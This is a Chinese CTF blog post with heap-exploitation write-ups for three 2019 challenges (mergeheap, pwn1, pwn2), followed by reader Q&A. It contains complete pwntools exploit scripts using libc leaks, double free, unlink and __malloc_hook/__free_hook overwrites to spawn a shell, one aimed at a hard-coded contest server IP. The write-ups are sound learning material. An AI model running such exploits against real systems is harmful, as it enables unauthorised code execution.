

## pwn堆入门系列教程6

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要将别人的东西转化成自己的东西，还是得实操，自己去操作番才可以得到些东西，学了这么久，这几天的比赛也算是用上了，有unlink，有double free，这些操作作用上了

### 2019护网杯 mergeheap

我每次看到题目名字跟函数名字相同，我就知道点就在那个函数上，然而我当时已经看出这里有溢出了，然后调试的时候以为没覆盖到，原来只能覆盖到size，还是脑子不清

#### 功能分析

1. 新建一个堆块
2. 展示堆块内容
3. 删除一个堆块
4. 合并两个堆块内容
5. 退出

乍一看就只有合并比较可疑了，通常堆题没合并，而题目又是mergeheap

#### 漏洞点分析

```
int sub_E29()
{
    int i; // [rsp+8h] [rbp-18h]
    int v2; // [rsp+Ch] [rbp-14h]
    int v3; // [rsp+10h] [rbp-10h]
    int v4; // [rsp+1Ch] [rbp-4h]

    for ( i = 0; i <= 14 && qword_2020A0[i]; ++i )
        ;
    if ( i > 14 )
        return puts("full");
    printf("idx1:");
    v2 = sub_B8B();
    if ( v2 < 0 || v2 > 14 || !qword_2020A0[v2] )
        return puts("invalid");
    printf("idx2:");
    v3 = sub_B8B();
    if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] )
        return puts("invalid");
    v4 = dword_202060[v2] + dword_202060[v3];
    qword_2020A0[i] = malloc(v4);
    strcpy(qword_2020A0[i], qword_2020A0[v2]);
    strcat(qword_2020A0[i], qword_2020A0[v3]);
    dword_202060[i] = v4;
    return puts("Done");
}
```

merge这里的strcpy跟strcat都是遇到\x00结束的，所以，我们如果将下一个堆块的pre\_size当数据段来用的话，就可以复制到size部分，merge的时候会覆盖到下一个堆块

```
int sub_D72()
{
    _DWORD *v0; // rax
    int v2; // [rsp+Ch] [rbp-4h]

    printf("idx:");
```

```

v2 = sub_B8B();
if ( v2 >= 0 && v2 <= 14 && qword_2020A0[v2] )
{
    free(qword_2020A0[v2]);
    qword_2020A0[v2] = 0LL;
    v0 = dword_202060;
    dword_202060[v2] = 0;
}
else
{
    LODWORD(v0) = puts("invalid");
}
return v0;
}

```

free过后，堆块内容未清空，也就是说，我们申请一个堆块，然后free掉，在申请到这个堆块时候，就可以查看原来堆块的内容

## 漏洞利用过程

### 1. 初始化堆块操作

```

def add(size, content):
    io.sendline("1")
    io.sendline(str(size))
    if len(content) != size:
        io.sendline(content)
    else:
        io.send(content)

def show(idx):
    io.sendline("2")
    io.sendline(str(idx))

def delete(idx):
    io.sendline("3")
    io.sendline(str(idx))

def merge(idx1, idx2):
    io.sendline("4")
    io.sendline(str(idx1))
    io.sendline(str(idx2))

```

### 1. 填满tcache，并利用unsortbin泄露libc地址

```

for i in xrange(8):
    add(0x100, str(i)*0x10)
for i in xrange(8):
    delete(7-i)
add(0x8, '0'*8) #0
show(0)
io.recvuntil("0"*8)
libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)

```

我反过来删除是因为show好弄些，也可以正向删除，show(7)

### 1. 重点，这里的大小要构造好，被复制和被覆盖的得分清楚，最后造成overlap

chunk，然后修改tcache的fd指针成malloc\_hook就行了，这里跟fastbin不太相似，fastbin这种攻击大小限制得是0x70大小chunk，因为错位的时候只有0x7f通常

```

add(0xe0, '1') #1
add(0x10, '2'*0x10) #2
add(0x18, '3'*0x18) #3
add(0x80, '4'*0x80) #4 ■■■■size
add(0x20, '5'*0x20) #5
add(0x20, '6'*0x20) #6 size■■■■■■■

delete(5)
merge(2, 3)

```

```

add(0x20, '7'*0x20)
delete(7)
delete(6) #■■■■overlap chunk

```

## 1. getshell

```

payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
add(0x80, payload) #6
#gdb.attach(io)
add(0x20, '/bin/sh\x00') #7
add(0x20, p64(system_addr))
delete(7)

```

## exp

```

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'mergeheap'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'mergeheap'
ctx.binary = exe
libc = args.LIBC or 'libc-2.27.so'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
#=====
#                               EXPLOIT GOES HERE
#=====

# Arch:      amd64-64-little
# RELRO:     Full RELRO
# Stack:     Canary found
# NX:        NX enabled
# PIE:       PIE enabled

def add(size, content):
    io.sendline("1")
    io.sendline(str(size))
    if len(content) != size:
        io.sendline(content)
    else:
        io.send(content)

def show(idx):
    io.sendline("2")
    io.sendline(str(idx))

def delete(idx):
    io.sendline("3")
    io.sendline(str(idx))

def merge(idx1, idx2):
    io.sendline("4")
    io.sendline(str(idx1))
    io.sendline(str(idx2))

```

```

def exp():
    for i in xrange(8):
        add(0x100, str(i)*0x10)
    for i in xrange(8):
        delete(7-i)
    add(0x8, '0'*8) #0
    show(0)
    io.recvuntil("0"*8)
    libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
    free_hook = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']
    io.success("libc_base: 0x%x" % libc_base)

    add(0xe0, '1') #1
    add(0x10, '2'*0x10) #2
    add(0x18, '3'*0x18) #3
    add(0x80, '4'*0x80) #4
    add(0x20, '5'*0x20) #5
    add(0x20, '6'*0x20) #6

    delete(5)
    merge(2, 3)
    add(0x20, '7'*0x20)
    delete(7)
    delete(6) #■■■■overlap chunk
    payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
    add(0x80, payload) #6
    #gdb.attach(io)
    add(0x20, '/bin/sh\x00') #7
    add(0x20, p64(system_addr))
    delete(7)

if __name__ == '__main__':
    exp()
    io.interactive()

```

## 2019 网络内生安全试验场 pwn1

### 功能分析

1. 创建一个堆块
2. 展示所有堆块
3. 删除一个堆块
4. 删除所有堆块
5. 离开

### 漏洞点分析

```

int delete()
{
    unsigned int v1; // [rsp+4h] [rbp-Ch]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    if ( lifecount )
    {
        printf("Which life do you want to remove: ");
        __isoc99_scanf("%d", &v1);
        if ( v1 > 0x63 || !*(&lifelists + v1) )
        {
            puts("Invalid choice");
            return 0;
        }
        *(_DWORD *)(&lifelists + v1) = 0;
    }
}

```

```

    free(*(void **>(&lifelist + v1) + 1));
    puts("Successful , God !");
}
else
{
    puts("No life in this lonely planet~ ");
}
return puts("\n");
}

```

这里存在double free，free后为置空

## 漏洞利用过程

我是多次利用double free然后成的,这道题说实话很坑，malloc\_hook本地改成one\_gadget是可以成功的，远程怎么打都打不上，后面学到一个骚操作，double free触发malloc\_hook???原理我也不清楚，不过确实远程拿到shell了

### 1. 利用double free泄露地址

```

ptr = 0x00000000006020E0-0x20-0x30-0x6
add(0x30, "a", "0") #0
add(0x30, "b", "1") #1
delete(0)
delete(1)
delete(0)
add(0x30, p64(ptr), '2') #2
add(0x30, 'a', '3') #3
add(0x30, 'a', '4') #4
add(0x30, 'a'*0x20 + 'b'*5, '5')#5
show()
io.recvuntil("bbbbbb")
stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
stdout_addr = hex(stdout_addr)[-2]
stdout_addr = int(stdout_addr, 16)
io.success("stdout_addr: 0x%x" % stdout_addr)

libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
realloc_addr = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x45216
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xf02a4
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.symbols['__malloc_hook']
ptr = malloc_hook-0x20-0x3

```

### 1. 利用double free改写地址

```

add(0x60, "a", "6")#6
add(0x60, "b", "7")#7
delete(6)
delete(7)
delete(6)
add(0x60, p64(ptr), '8') #8
add(0x60, 'a', '9') #9
add(0x60, 'a', '10') #10
add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
io.success("malloc_hook: 0x%x" % malloc_hook)
io.success("libc_base: 0x%x" % libc_base )
io.success("one_gadget: 0x%x" % one_gadget)

```

### 1. getshell

```

delete(2)
delete(2)

```

double free 拿到shell，这里其实malloc一次本地可以拿shell，远程不行，原因未详，可能栈环境对不上

## exp

```

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

```

```

from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'pwn1'
elf = context.binary = ELF(exe)

#don't forget to change it
#ctx.binary = './' + 'pwn1'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    libc = ELF(libc)
    io = remote(host,port)
#=====
#                               EXPLOIT GOES HERE
#=====

# Arch:      amd64-64-little
# RELRO:     Partial RELRO
# Stack:     Canary found
# NX:        NX enabled
# PIE:       No PIE (0x400000)
def add(size, name, level):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("Length of the name :", str(size))
    io.sendlineafter("The name of this life :", name)
    io.sendlineafter("The level of this life (High/Low) :", level)

def show():
    io.sendlineafter("Your choice : ", "2")

def delete(idx):
    io.sendlineafter("Your choice : ", "3")
    io.sendlineafter("Which life do you want to remove: ", str(idx))

def destroy():
    io.sendlineafter("Your choice : ", "4")

def exit():
    io.sendlineafter("Your choice : ", "5")

def exp():
    ptr = 0x00000000006020E0-0x20-0x30-0x6
    add(0x30, "a", "0") #0
    add(0x30, "b", "1") #1
    delete(0)
    delete(1)
    delete(0)
    add(0x30, p64(ptr), '2') #2
    add(0x30, 'a', '3') #3
    add(0x30, 'a', '4') #4
    add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
    show()
    io.recvuntil("bbbbbb")
    stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
    stdout_addr = hex(stdout_addr)[-2]
    stdout_addr = int(stdout_addr, 16)
    io.success("stdout_addr: 0x%x" % stdout_addr)

    libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']

```

```

realloc_addr = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x45216
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xf02a4
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.symbols['__malloc_hook']
ptr = malloc_hook-0x20-0x3
add(0x60, "a", "6")#6
add(0x60, "b", "7")#7
delete(6)
delete(7)
delete(6)
add(0x60, p64(ptr), '8') #8
add(0x60, 'a', '9') #9
add(0x60, 'a', '10') #10
add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
io.success("malloc_hook: 0x%x" % malloc_hook)
io.success("libc_base: 0x%x" % libc_base )
io.success("one_gadget: 0x%x" % one_gadget)
delete(2)
delete(2)
#add(0x30, 'a'*0x20+'b'*5,'3')
#gdb.attach(io)
'''
'''

if __name__ == '__main__':
    exp()
    io.interactive()

```

## 2019 网络内生安全试验场 pwn2

实战中遇到最简单的一道了？

### 功能分析

1. new一个新堆块
2. 删除一个堆块
3. 展示一个堆块
4. 修改堆块内容，有趣的是，他是固定大小0x100?
5. 退出

### 漏洞点分析

```

unsigned __int64 record()
{
    int v1; // [rsp+4h] [rbp-Ch]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    puts("record which?");
    __isoc99_scanf("%d", &v1);
    if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
    {
        puts("content?");
        read(0, buf[v1], 0x100uLL);
    }
    return __readfsqword(0x28u) ^ v2;
}

```

这里是固定大小，所以申请小堆块可以溢出

### 漏洞利用过程

我的思路是溢出后unlink，然后在将两个堆块串联起来，unlink里介绍的手法，就是一个堆块指向另一个堆块存指针的地方，然后编辑一个堆块就是编辑地址，编辑另一

初始化操作

```

def add(size):
    io.sendlineafter("your choice :\n", "1")
    io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
    io.sendlineafter("your choice :\n", "2")
    io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
    io.sendlineafter("your choice :\n", "3")
    io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
    io.sendlineafter("your choice :\n", "4")
    io.sendlineafter("record which?\n", str(idx))
    io.sendlineafter("content?\n", content)

def exit():
    io.sendlineafter("your choice :\n", "5")

```

## 1. unlink

```

ptr = 0x6020c0
add(0x40)
add(0x80)
add(0x40)
add(0x40)
payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x40)
payload += p64(0x40)
payload += p64(0x90)
record(0, payload)
record(1, "1"*0x10)
delete(1)
#show(0)

```

## 1. 链接两个堆块

```

payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
record(0, payload)
show(2)

```

## 1. 泄露地址

```

io.recvuntil("the content is :")
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']
#gdb.attach(io)

```

## 1. getshell

```

record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)

```

## exp

```

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False

# Set up pwntools for the correct architecture
exe = './' + 'pwn2'

```



```

elf = context.binary = ELF(exe)

#don't forget to change it
host = '39.106.94.18'
port = 32768

#don't forget to change it
#ctx.binary = './' + 'pwn2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    #context.log_level = 'debug'
    io = ctx.start()
    libc = ELF(libc)
else:
    io = remote(host,port)
    libc = ELF(libc)
#=====
#                               EXPLOIT GOES HERE
#=====

# Arch:      amd64-64-little
# RELRO:     Partial RELRO
# Stack:     Canary found
# NX:        NX enabled
# PIE:       No PIE (0x400000)
def add(size):
    io.sendlineafter("your choice :\n", "1")
    io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
    io.sendlineafter("your choice :\n", "2")
    io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
    io.sendlineafter("your choice :\n", "3")
    io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
    io.sendlineafter("your choice :\n", "4")
    io.sendlineafter("record which?\n", str(idx))
    io.sendlineafter("content?\n", content)

def exit():
    io.sendlineafter("your choice :\n", "5")

def exp():

    ptr = 0x6020c0
    add(0x40)
    add(0x80)
    add(0x40)
    add(0x40)
    payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
    payload = payload.ljust(0x40)
    payload += p64(0x40)
    payload += p64(0x90)
    record(0, payload)
    record(1, "1"*0x10)
    delete(1)
    #show(0)
    payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
    record(0, payload)
    show(2)
    io.recvuntil("the content is :")
    io.recvline()

```

```
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']

record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)
#gdb.attach(io)

#delete(0)

if __name__ == '__main__':
    exp()
    io.interactive()
```

题目下载地址

[点我，快点我](#)

总结

实操的时候发觉自己点是知道了，找漏洞点能力还待提升，利用起来也是得多调试下

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1. 8 条回复



[tb1263\\*\\*\\*\\*](#) 2019-09-28 18:03:17

你好，请问mergheap，反着删除为什么在从unsortedbin中分割出一块内存时，不需要先填完tcache?

0 回复Ta

---



[NoOne](#) 2019-09-29 10:38:19

[@tb1263\\*\\*\\*\\*](#) tcache\_max\_count 是7个，free的时候free了8个，不就是填满了吗，另外一个是不sortedbin

0 回复Ta

---



[tb1263\\*\\*\\*\\*](#) 2019-09-30 18:48:48

[@NoOne](#)

你好，我之前表达有错误。护网杯mergheap，你是倒着来做的，先free掉8个chunk以后，是填满了tcache，第八个是不sortedbin，泄露libc时，add(0x8, '0'\*8) #0，为什么不是先从tcache中分配内存，而是直接在unsortedbin里？

0 回复Ta

---



[NoOne](#) 2019-10-01 23:04:08

[@tb1263\\*\\*\\*\\*](#)

因为tcache中不存在这个块，tcache里的chunk大小都是0x110,而我add(0x8,'0''8)这里大小是0x20,所以不会从tcache里取，而是从unsortedbin中取出

0 回复Ta

---



[tb1263\\*\\*\\*\\*](#) 2019-10-08 20:52:56

[@NoOne](#) 谢谢！

0 回复Ta

---



[z2o\\_cy\\*\\*\\*\\*](#) 2019-11-17 17:46:36

请教一下大佬，mergeheap的add函数里面

为什么要对content的长度校验，长度与size不等的用sendline()。我全部用send()就泄露不了基址了。这是为啥呀？？？

0 回复Ta

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NoOne 2019-11-18 09:40:34

@z2o\_cy\*\*\* emm

```
explored External symbol
IDA View-A Pseudocode-A Hex View-1 Structures Enums
1 __int64 __fastcall sub_AEE(__int64 a1, unsigned int a2)
2 {
3     char buf; // [rsp+13h] [rbp-Dh]
4     unsigned int i; // [rsp+14h] [rbp-Ch]
5     unsigned __int64 v5; // [rsp+18h] [rbp-8h]
6
7     v5 = __readfsqword(0x28u);
8     buf = 0;
9     for ( i = 0; (signed int)i < (signed int)a2; ++i )
10    {
11        read(0, &buf, 1uLL);
12        if ( buf == 10 )
13        {
14            buf = 0;
15            *(_BYTE *)(a1 + (signed int)i) = 0;
16            return i;
17        }
18        *(_BYTE *)(a1 + (signed int)i) = buf;
19    }
20    return a2;
21 }
```

你看下这段里，有两个跳出循环的条件，一个是\n，一个是长度等于你输入的长度，如果你用send，没达到那个长度，你下一个send还是会继续往这里发送的，就是还

0 回复Ta



[z2o cy\\*\\*\\*\\*](#) 2019-11-18 11:07:27

[@NoOne](#) , 呜呜呜。谢谢大佬，懂了。怪我看程序太不仔细了

0 回复Ta

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